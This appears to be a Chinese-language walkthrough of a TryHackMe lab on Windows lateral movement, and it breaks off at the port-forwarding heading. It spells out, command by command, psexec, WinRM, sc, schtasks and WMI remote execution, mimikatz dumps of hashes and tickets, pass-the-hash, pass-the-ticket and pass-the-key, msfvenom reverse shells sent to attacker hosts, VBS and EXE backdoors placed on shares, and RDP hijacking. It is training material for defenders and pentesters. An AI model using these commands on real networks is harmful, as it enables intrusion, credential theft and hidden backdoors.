Active Directory,  Red Team

Lateral Movement and Pivoting

了解用于跨 Windows 网络横向移动的常用技术。

在这个房间里,我们将研究横向移动,攻击者使用一组技术在网络中移动,同时创建尽可能少的警报。我们将了解为此目的而使用的几种常见技术以及所涉及的工具。 建议在此之前先浏览一下破坏 AD 和枚举 AD 房间。

学习目标:

  • 熟悉攻击者使用的横向移动技术。
  • 了解如何使用替代认证材料进行横向移动。
  • 了解使用受感染主机作为枢纽的不同方法。

1.Spawning Processes Remotely(远程连接)

此任务将研究攻击者远程生成进程的可用方法,允许他们在拥有有效凭据的计算机上运行命令。所讨论的每种技术都使用略有不同的方法来实现相同的目的,其中一些可能更适合某些特定场景。

(1).Psexec

  • Ports: 445/TCP (SMB)
  • Required Group Memberships: Administrators

多年来,Psexec 一直是需要远程执行进程时的首选方法。它允许管理员用户在他有权访问的任何 PC 上远程运行命令。 Psexec 是众多 Sysinternals 工具之一,可以在此处下载。

psexec 的工作方式如下:

  • 连接到 Admin$ 共享并上传服务二进制文件。 Psexec 使用 psexesvc.exe 作为名称。
  • 连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,并将该服务二进制文件与 C:\Windows\psexesvc.exe 关联。
  • 创建一些命名管道来处理 stdin/stdout/stderr。
psexec explained

要运行 psexec,我们只需提供远程主机所需的管理员凭据以及我们要运行的命令(为方便起见,psexec64.exe 可在 THMJMP2 的 C:\tools 下找到):

psexec64.exe 10.200.75.201 P -u Administrator -p Mypass123 -i cmd.exe

(2).Remote Process Creation Using WinRM(使用 WinRM 远程创建进程)

  • Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
  • Required Group Memberships: Remote Management Users

Windows 远程管理 (WinRM) 是一种基于 Web 的协议,用于远程向 Windows 主机发送 Powershell 命令。大多数 Windows Server 安装都会默认启用 WinRM,这使其成为一个有吸引力的攻击媒介。 要从命令行连接到远程 Powershell 会话,我们可以使用以下命令:

winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

我们可以从 Powershell 实现相同的目的,但要传递不同的凭据,我们需要创建一个 PSCredential 对象:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

获得 PSCredential 对象后,我们可以使用 Enter-PSSession cmdlet 创建交互式会话:

Enter-PSSession -Computername TARGET -Credential $credential

Powershell 还包括 Invoke-Command cmdlet,它通过 WinRM 远程运行 ScriptBlocks。凭证也必须通过 PSCredential 对象传递:

Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

(3).Remotely Creating Services Using sc(使用 sc 远程创建服务)

  • Ports:
    • 135/TCP, 49152-65535/TCP (DCE/RPC)
    • 445/TCP (RPC over SMB Named Pipes)
    • 139/TCP (RPC over SMB Named Pipes)
  • Required Group Memberships: Administrators

Windows 服务也可用于运行任意命令,因为它们在启动时执行命令。虽然服务可执行文件在技术上与常规应用程序不同,但如果我们配置 Windows 服务来运行任何应用程序,它仍然会执行该应用程序并随后失败。 我们可以使用 sc.exe(Windows 中提供的标准工具)在远程主机上创建服务。使用sc时,它会通过几种方式尝试通过RPC连接到Service Control Manager(SVCCTL)远程服务程序:

  1. 将使用 DCE/RPC 进行连接尝试。客户端将首先在端口 135 连接到端点映射器 (EPM),该端点映射器充当可用 RPC 端点的目录并请求有关 SVCCTL 服务程序的信息。然后,EPM 将响应 IP 和端口以连接到 SVCCTL,该端口通常是 49152-65535 范围内的动态端口。svcctl via RPC
  2. 如果后一个连接失败,sc 将尝试通过端口 445 (SMB) 或 139(基于 NetBIOS 的 SMB)上的 SMB 命名管道到达 SVCCTL。
svcctl via named pipe

我们可以使用以下命令创建并启动名为“THMservice”的服务:

sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice

服务启动时将执行“net user”命令,在系统上创建一个新的本地用户。由于操作系统负责启动服务,因此您将无法查看命令输出。 要停止并删除该服务,我们可以执行以下命令:

sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

(4).Creating Scheduled Tasks Remotely(远程创建计划任务)

我们可以使用的另一个 Windows 功能是计划任务。您可以使用 schtasks 远程创建并运行一个任务,该任务可在任何 Windows 安装中使用。要创建名为 THMtask1 的任务,我们可以使用以下命令:

schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00

schtasks /s TARGET /run /TN "THMtask1"

我们将计划类型 (/sc) 设置为 ONCE,这意味着该任务仅在指定的时间和日期运行一次。由于我们将手动运行任务,因此开始日期 (/sd) 和开始时间 (/st) 无论如何都不重要。 由于系统将运行计划任务,因此我们将无法获得该命令的输出,这使得这是一种盲目攻击。 最后,要删除计划任务,我们可以使用以下命令并自行清理:

schtasks /S TARGET /TN "THMtask1" /DELETE /F

Let’s Get to Work!

我们将展示如何使用这些凭据通过 sc.exe 横向移动到 THMIIS。请随意尝试其他方法,因为它们都应该适用于 THMIIS。 虽然我们已经展示了如何使用 sc 在远程系统上创建用户(通过使用 net user),但我们还可以上传我们想要执行的任何二进制文件并将其与创建的服务关联。但是,如果我们尝试使用此方法运行反向 shell,我们会注意到反向 shell 在执行后立即断开连接。原因是服务可执行文件与标准 .exe 文件不同,因此非服务可执行文件几乎会立即被服务管理器杀死。对我们来说幸运的是,msfvenom 支持 exe-service 格式,它将我们喜欢的任何有效负载封装在功能齐全的服务可执行文件中,防止它被杀死。 要创建反向shell,我们可以使用以下命令

user@AttackBox$ msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=10.50.67.125 LPORT=4444 -o myservices.exe

然后,我们将继续使用 t1_leonard.summers 凭据,使用 AttackBox 中的 smbclient 将有效负载上传到 THMIIS 的 ADMIN$ 共享:

user@AttackBox$ smbclient -c 'put myservices.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
putting file myservice.exe as \myservice.exe (0.0 kb/s) (average 0.0 kb/s)

上传可执行文件后,我们将在攻击者的计算机上设置一个侦听器以接收来自 msfconsole 的反向 shell:

user@AttackBox$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.10.16:4444

或者,您可以在 Linux 控制台上运行以下单行代码来执行相同的操作:

user@AttackBox$ msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"

由于 sc.exe 不允许我们在命令中指定凭据,因此我们需要使用 runas 来生成带有 t1_leonard.summer 访问令牌的新 shell。尽管如此,我们只能通过 SSH 访问计算机,因此,如果我们尝试类似 runas /netonly /user:ZA\t1_leonard.summers cmd.exe 的操作,新的命令提示符将在用户会话中生成,但我们无权访问它。为了解决这个问题,我们可以使用 runas 生成带有 t1_leonard.summers 访问令牌的第二个反向 shell:

C:\> runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.67.125 4443"

注意:请记住,由于您使用带有 /netonly 选项的 runas,因此不会费心检查提供的凭据是否有效(有关此内容的更多信息,请参阅枚举 AD 空间),因此请务必正确输入密码。如果不这样做,您稍后会在房间中看到一些 ACCESS DENIED 错误。 我们可以像往常一样在 AttackBox 中使用 nc 接收反向 shell 连接:

user@AttackBox$ nc -lvp 4443

最后,继续使用 sc 远程创建一个新服务,并将其与我们上传的二进制文件关联起来:

C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-66 binPath= "%windir%\myservices.exe" start= auto
C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-66

请务必更改您的服务名称,以避免与其他学生发生冲突。 启动该服务后,您应该会在 AttackBox 中收到一个连接,您可以从该连接访问 t1_leonard.summers 桌面上的第一个标志。

2.Moving Laterally Using WMI(使用 WMI 横向移动)

我们还可以使用 Windows Management Instrumentation (WMI) 以不同的方式执行上一个任务中讨论的许多技术。 WMI 是基于 Web 的企业管理 (WBEM) 的 Windows 实现,WBEM 是跨设备访问管理信息的企业标准。简单来说,WMI 允许管理员执行标准管理任务,攻击者可以滥用这些任务以各种方式执行横向移动,我们将对此进行讨论。

(1)从 Powershell 连接到 WMI

在能够使用 Powershell 命令连接到 WMI 之前,我们需要使用我们的用户和密码创建一个 PSCredential 对象。该对象将存储在 $credential 变量中,并在该任务的整个技术中使用:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

然后,我们继续使用以下协议之一建立 WMI 会话:

  • DCOM:RPC over IP 将用于连接到 WMI。该协议使用端口 135/TCP 和端口 49152-65535/TCP,正如使用 sc.exe 时所解释的那样。
  • Wsman:WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)。

要从 Powershell 建立 WMI 会话,我们可以使用以下命令并将会话存储在 $Session 变量中,我们将在整个房间中使用不同的技术:

$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

New-CimSessionOption cmdlet 用于配置 WMI 会话的连接选项,包括连接协议。然后,选项和凭据将传递到 New-CimSession cmdlet 以建立针对远程主机的会话。

(2)使用 WMI 远程创建进程

  • Ports:
    • 135/TCP, 49152-65535/TCP (DCERPC)
    • 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
  • Required Group Memberships: Administrators

我们可以利用 Windows Management Instrumentation (WMI) 从 Powershell 远程生成一个进程,向 Win32_Process 类发送 WMI 请求,以在我们之前创建的会话下生成该进程:

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}

请注意,WMI 不允许您查看任何命令的输出,但确实会静默创建所需的进程。 在旧系统上,可以在命令提示符下使用 wmic 完成相同的操作:

wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"

(3)使用 WMI 远程创建服务

  • Ports:
    • 135/TCP, 49152-65535/TCP (DCERPC)
    • 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
  • Required Group Memberships: Administrators

我们可以通过Powershell使用WMI创建服务。要创建名为 THMService2 的服务,我们可以使用以下命令:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

然后,我们可以获取该服务的句柄并使用以下命令启动它:

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService

最后,我们可以使用以下命令停止并删除该服务:

Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

(4)使用 WMI 远程创建计划任务

  • Ports:
    • 135/TCP, 49152-65535/TCP (DCERPC)
    • 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
  • Required Group Memberships: Administrators

我们可以使用 Windows 默认安装中提供的一些 cmdlet 创建并执行计划任务:

# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

要在使用完计划任务后将其删除,我们可以使用以下命令:

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

(5)通过 WMI 安装 MSI 包

  • Ports:
    • 135/TCP, 49152-65535/TCP (DCERPC)
    • 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
  • Required Group Memberships: Administrators

MSI 是一种用于安装程序的文件格式。如果我们可以将 MSI 包复制到目标系统,那么我们就可以使用 WMI 尝试为我们安装它。攻击者可以通过任何可用的方式复制该文件。一旦 MSI 文件位于目标系统中,我们就可以尝试通过 WMI 调用 Win32_Product 类来安装它:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

我们可以通过在遗留系统中使用 wmic 来实现相同的目的:

wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

Let’s Get to Work!

要完成此练习,您需要使用在任务 1 中从 http://distributor.za.tryhackme.com/creds 分配给您的凭据连接到 THMJMP2。如果您还没有这样做,请单击链接并获取凭据。获得凭据后,通过 SSH 连接到 THMJMP2:

ssh za\\<AD Username>@thmjmp2.za.tryhackme.com

对于本练习,我们假设我们已经捕获了一些具有管理访问权限的凭据:

  • User: ZA.TRYHACKME.COM\t1_corine.waters
  • Password: Korine.1994

我们将展示如何使用这些凭据通过 WMI 和 MSI 包横向移动到 THM-IIS。请随意尝试此任务中介绍的其他方法。 我们将首先从攻击者机器上使用 msfvenom 创建 MSI 有效负载:

注意:由于您将与其他人共享实验室,因此您需要为有效负载使用不同的文件名,而不是“myinstaller.msi”,以避免覆盖某人其他人的有效负载。

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > myinstallercc.msi

然后,我们使用 SMB 或任何其他可用的方法复制有效负载:

user@AttackBox$ smbclient -c 'put myinstallercc.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994
putting file myinstaller.msi as \myinstaller.msi (0.0 kb/s) (average 0.0 kb/s)

由于我们将有效负载复制到 ADMIN$ 共享,因此它将在服务器上的 C:\Windows\ 中可用。 我们启动一个处理程序来接收来自 Metasploit 的反向 shell:

msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4445
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.10.16:4445

让我们从 Powershell 控制台启动针对 THMIIS 的 WMI 会话:

PS C:\> $username = 't1_corine.waters';
PS C:\> $password = 'Korine.1994';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol DCOM
PS C:\> $Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop

然后,我们从 Win32_Product 类调用 Install 方法来触发有效负载:

PS C:\> Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

3.Use of Alternate Authentication Material(使用替代认证材料)

通过替代身份验证材料,我们指的是可用于访问 Windows 帐户而无需实际知道用户密码本身的任何数据。这是可能的,因为 Windows 网络使用的某些身份验证协议的工作方式。在此任务中,我们将研究当网络上存在以下任一身份验证协议时可作为用户登录的几种替代方案:

  • NTLM authentication
  • Kerberos authentication

注意:在此任务中,假定您熟悉从主机提取凭据的方法和工具。 Mimikatz 将被用作整个房间中凭证提取的首选工具。

(1)NTLM认证

在深入研究实际的横向移动技术之前,我们先看一下 NTLM 身份验证的工作原理:

NTLM authentication
  1. 客户端向他们想要访问的服务器发送身份验证请求。
  2. 服务器生成一个随机数并将其作为质询发送给客户端。
  3. 客户端将其 NTLM 密码哈希与质询(以及其他已知数据)结合起来,生成对质询的响应,并将其发送回服务器进行验证。
  4. 服务器将质询和响应转发给域控制器进行验证。
  5. 域控制器使用质询重新计算响应并将其与客户端发送的初始响应进行比较。如果两者匹配,则客户端通过身份验证;否则,访问将被拒绝。认证结果发送回服务器。
  6. 服务器将认证结果转发给客户端。

注意:所描述的过程适用于使用域帐户时。如果使用本地帐户,服务器可以验证对质询本身的响应,而无需与域控制器交互,因为它的 SAM 上本地存储有密码哈希值。

(2)Pass-the-Hash

从我们获得管理权限的主机中提取凭据(通过使用 mimikatz 或类似工具)后,我们可能会获得可以轻松破解的明文密码或哈希值。然而,如果我们不够幸运,我们最终会得到未破解的 NTLM 密码哈希值。 尽管我们似乎无法真正使用这些哈希值,但只需知道密码哈希值即可响应身份验证期间发送的 NTLM 质询。这意味着我们可以在不需要知道明文密码的情况下进行身份验证。如果 Windows 域配置为使用 NTLM 身份验证,则无需破解 NTLM 哈希值,我们就可以传递哈希值 (PtH) 并成功进行身份验证。 要提取 NTLM 哈希值,我们可以使用 mimikatz 读取本地 SAM 或直接从 LSASS 内存中提取哈希值。

从本地 SAM 中提取 NTLM 哈希值:

此方法仅允许您从计算机上的本地用户获取哈希值。没有域用户的哈希值可用。

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50

从 LSASS 内存中提取 NTLM 哈希值:

此方法将允许您提取本地用户和最近登录到计算机的任何域用户的任何 NTLM 哈希值。

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484

然后,我们可以使用提取的哈希值来执行 PtH 攻击,方法是使用 mimikatz 在反向 shell(或您喜欢的任何其他命令)上为受害者用户注入访问令牌,如下所示:

mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

请注意,我们使用 token::revert 来重新建立原始令牌权限,因为尝试使用提升的令牌传递哈希是行不通的。这相当于使用 runas /netonly,但使用哈希而不是密码,并将生成一个新的反向 shell,我们可以从其中以受害者用户身份启动任何命令。 要接收反向 shell,我们应该在 AttackBox 上运行反向侦听器:

user@AttackBox$ nc -lvp 5555

有趣的是,如果您在此 shell 上运行 whoami 命令,它仍然会显示您在执行 PtH 之前使用的原始用户,但从这里运行的任何命令实际上都会使用我们使用 PtH 注入的凭据。

使用 Linux 传递哈希:

如果您可以访问 Linux 盒子(如 AttackBox),有几种工具具有内置支持,可以使用不同的协议执行 PtH。根据您可以使用的服务,您可以执行以下操作:

Connect to RDP using PtH:

xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

Connect via psexec using PtH:

psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

Note: Only the linux version of psexec support PtH.

Connect to WinRM using PtH:

evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

(3)Kerberos 身份验证

让我们快速了解一下 Kerberos 身份验证在 Windows 网络上的工作原理:

1.用户将其用户名和使用从其密码派生的密钥加密的时间戳发送到密钥分发中心 (KDC),该服务通常安装在域控制器上,负责在网络上创建 Kerberos 票证。 KDC 将创建并发回票证授予票证 (TGT),允许用户请求票证来访问特定服务,而无需将其凭据传递给服务本身。与 TGT 一起,还将向用户提供会话密钥,用户将需要该会话密钥来生成后续请求。 请注意,TGT 使用 krbtgt 帐户的密码哈希进行加密,因此用户无法访问其内容。重要的是要知道加密的 TGT 包括会话密钥的副本作为其内容的一部分,并且 KDC 不需要存储会话密钥,因为它可以在需要时通过解密 TGT 来恢复副本。

Kerberos get TGT

2.当用户想要连接到网络上的服务(例如共享、网站或数据库)时,他们将使用 TGT 向 KDC 请求票证授予服务 (TGS)。 TGS 是只允许连接到为其创建的特定服务的票证。要请求 TGS,用户将发送他的用户名和使用会话密钥加密的时间戳,以及 TGT 和服务主体名称 (SPN),该名称指示我们打算访问的服务和服务器名称。 因此,KDC 将向我们发送 TGS 和服务会话密钥,我们需要对我们想要访问的服务进行身份验证。 TGS 使用服务所有者哈希进行加密。服务所有者是运行服务的用户或计算机帐户。 TGS 在其加密内容上包含服务会话密钥的副本,以便服务所有者可以通过解密 TGS 来访问它。

Kerberos get TGS

3.然后可以将 TGS 发送到所需的服务以进行身份验证并建立连接。该服务将使用其配置的帐户的密码哈希来解密 TGS 并验证服务会话密钥。

Kerberos authenticate

(4)Pass-the-Ticket

有时可以使用 mimikatz 从 LSASS 内存中提取 Kerberos 票证和会话密钥。该过程通常需要我们在被攻击的机器上拥有 SYSTEM 权限,可以按如下方式完成:

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

请注意,如果我们只能访问票证而不能访问其相应的会话密钥,则我们将无法使用该票证;因此,两者都是必要的。 虽然 mimikatz 可以从 LSASS 进程的内存中提取任何可用的 TGT 或 TGS,但大多数时候,我们会对 TGT 感兴趣,因为它们可用于请求访问允许用户访问的任何服务。同时,TGS 仅适用于特定服务。提取 TGT 需要我们拥有管理员凭据,并且可以使用低权限帐户(仅分配给该帐户的帐户)来提取 TGS。 一旦我们提取了所需的票证,我们就可以使用以下命令将票证注入当前会话:

mimikatz # kerberos::ptt [0;427fcd5][email protected]

在我们自己的会话中注入票证不需要管理员权限。此后,我们用于横向移动的任何工具都可以使用门票。要检查票证是否已正确注入,您可以使用 klist 命令:

THMJMP2: Powershellza\bob.jenkins@THMJMP2 C:\> klist
Current LogonId is 0:0x1e43562
Cached Tickets: (1)
#0> Client: Administrator @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 4/12/2022 0:28:35 (local)
End Time: 4/12/2022 10:28:35 (local)
Renew Time: 4/23/2022 0:28:35 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com

(5)Overpass-the-hash / Pass-the-Key

这种攻击与 PtH 类似,但适用于 Kerberos 网络。 当用户请求 TGT 时,他们会发送使用从其密码派生的加密密钥加密的时间戳。用于派生此密钥的算法可以是 DES(在当前 Windows 版本上默认禁用)、RC4、AES128 或 AES256,具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们拥有这些密钥中的任何一个,我们就可以向 KDC 请求 TGT,而无需实际密码,因此得名“传递密钥”(PtK)。 我们可以通过使用 mimikatz 和以下命令从内存中获取 Kerberos 加密密钥:

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

根据可用的密钥,我们可以在 mimikatz 上运行以下命令,以通过 Pass-the-Key 获得反向 shell(为了方便起见,THMJMP2 中已经提供了 nc64):

If we have the RC4 hash:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

If we have the AES128 hash:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

If we have the AES256 hash:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

请注意,使用 RC4 时,密钥将等于用户的 NTLM 哈希值。这意味着,如果我们可以提取 NTLM 哈希,只要 RC4 是启用的协议之一,我们就可以使用它来请求 TGT。这种特殊的变体通常被称为 Overpass-the-Hash (OPtH)。 要接收反向 shell,我们应该在 AttackBox 上运行反向侦听器:

user@AttackBox$ nc -lvp 5556

就像 PtH 一样,从此 shell 运行的任何命令都将使用通过 mimikatz 注入的凭据。

Let’s Get to Work!

要开始本练习,您需要使用以下凭据通过 SSH 连接到 THMJMP2:

User: ZA.TRYHACKME.COM\t2_felicia.dean

Password: iLov3THM!

ssh za\[email protected]

这些凭据将授予您对 THMJMP2 的管理访问权限,允许您使用 mimikatz 转储执行此任务期间提供的任何技术所需的身份验证材料。 使用 SSH 会话,使用 mimikatz 提取身份验证材料,并对域用户 t1_toby.beck 执行 Pass-the-Hash、Pass-the-Ticket 或 Pass-the-Key。 一旦命令提示符已加载其凭据,请使用 winrs 连接到 THMIIS 上的命令提示符。由于任何攻击都已将 t1_toby.beck 的凭据注入到您的会话中,因此您可以使用 winrs 而不指定任何凭据,并且它将使用当前会话可用的凭据:winrs.exe -r:THMIIS.za.tryhackme.com cmd

您会在 THMIIS 上 t1_toby.beck 的桌面上找到一个标志。 mimikatz 和 psexec64 均可在 THMJMP2 上的 C:\tools 中找到。

4.Abusing User Behaviour(滥用用户行为)

在某些情况下,攻击者可以利用用户执行的操作来进一步访问网络中的计算机。虽然发生这种情况的方式有很多种,但我们将讨论一些最常见的方式。

(1)Abusing Writable Shares

在检查公司环境时,经常会发现合法用户用来执行日常任务的网络共享。如果这些共享由于某种原因是可写的,攻击者就可以植入特定文件来强制用户执行任意有效负载并获得对其计算机的访问权限。 一种常见的情况是查找网络共享上托管的脚本或可执行文件的快捷方式。

PuTTY lnk file

其背后的基本原理是,管理员可以在网络共享上维护可执行文件,并且用户可以执行它,而无需将应用程序复制或安装到每个用户的计算机上。如果我们作为攻击者拥有对此类脚本或可执行文件的写入权限,我们就可以对它们进行后门以强迫用户执行我们想要的任何有效负载。 尽管脚本或可执行文件托管在服务器上,但当用户在其工作站上打开快捷方式时,可执行文件将从服务器复制到其 %temp% 文件夹并在工作站上执行。因此,任何有效负载都将在最终用户工作站(和登录用户帐户)的上下文中运行。

(2)Backdooring .vbs Scripts

例如,如果共享资源是VBS脚本,我们可以将nc64.exe的副本放在同一个共享上,并在共享脚本中注入以下代码:

CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True

这会将 nc64.exe 从共享复制到用户工作站的 %tmp% 目录,并在用户打开共享 VBS 脚本时向攻击者发送反向 shell。

(3)Backdooring .exe Files

如果共享文件是Windows二进制文件,例如putty.exe,您可以从共享下载它并使用msfvenom向其中注入后门。该二进制文件仍将照常工作,但会静默执行额外的有效负载。要创建后门 putty.exe,我们可以使用以下命令:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户没有注意到的情况下执行reverse_tcp meterpreter有效负载。文件生成后,我们可以替换 Windows 共享上的可执行文件,并使用 Metasploit 中的exploit/multi/handler 模块等待任何连接。

(4)RDP hijacking

当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态。如果您在 Windows Server 2016 及更早版本上拥有系统权限,则无需密码即可接管任何现有 RDP 会话。 如果我们有管理员级别的访问权限,我们可以通过我们喜欢的任何方法获取 SYSTEM。现在,我们将使用 psexec 来执行此操作。首先,让我们以管理员身份运行 cmd.exe:

Run as administrator

从那里运行 PsExec64.exe(位于 C:\tools\):

PsExec64.exe -s cmd.exe

要列出服务器上现有的会话,可以使用以下命令:

C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM

根据上面的命令输出,如果我们当前使用管理员用户通过 RDP 连接,我们的 SESSIONNAME 将为 rdp-tcp#6。我们还可以看到,名为 luke 的用户已将 id 为 3 的会话保持打开状态。任何具有 Disc 状态的会话都已被该用户保持打开状态,目前未使用。虽然您也可以接管活动会话,但当您这样做时,合法用户将被迫退出其会话,他们可能会注意到这一点。 要连接到会话,我们将使用 tscon.exe 并指定我们将接管的会话 ID,以及当前的 SESSIONNAME。按照前面的示例,如果我们以管理员用户身份连接,要接管 luke 的会话,我们将使用以下命令:

tscon 3 /dest:rdp-tcp#6

简而言之,该命令指出 luke 拥有的图形会话 3 应与管理员用户拥有的 RDP 会话 rdp-tcp#6 连接。 因此,我们将恢复 Luke 的 RDP 会话并立即连接到它。 注意:Windows Server 2019 不允许您在不知道密码的情况下连接到其他用户的会话。

Let’s Get to Work!

要完成此练习,您需要使用从 http://distributor.za.tryhackme.com/creds_t2 获取的一组新凭据连接到 THMJMP2(请注意,此链接与其他任务不同)。获得凭据后,通过 RDP 连接到 THMJMP2:

xfreerdp /v:thmjmp2.za.tryhackme.com /u:YOUR_USER /p:YOUR_PASSWORD

这些凭据将授予您对 THMJMP2 的管理访问权限。 对于此任务,我们将劫持 RDP 会话。如果您有兴趣尝试在 exe 或其他文件中添加后门,您可以在 Windows 本地持久性室中找到一些与此相关的练习。 按照说明劫持 t1_toby.beck 在 THMJMP2 上的 RDP 会话以获取您的标志。

注意:执行查询会话时,您将看到几个名为 t1_toby.beck 的用户,后跟一个数字。这些只是同一用户的相同副本,您可以劫持其中任何一个(您不需要劫持全部)。确保劫持标记为已断开连接的会话(光盘)以避免干扰其他用户。

5. Port Forwarding(转发端口)

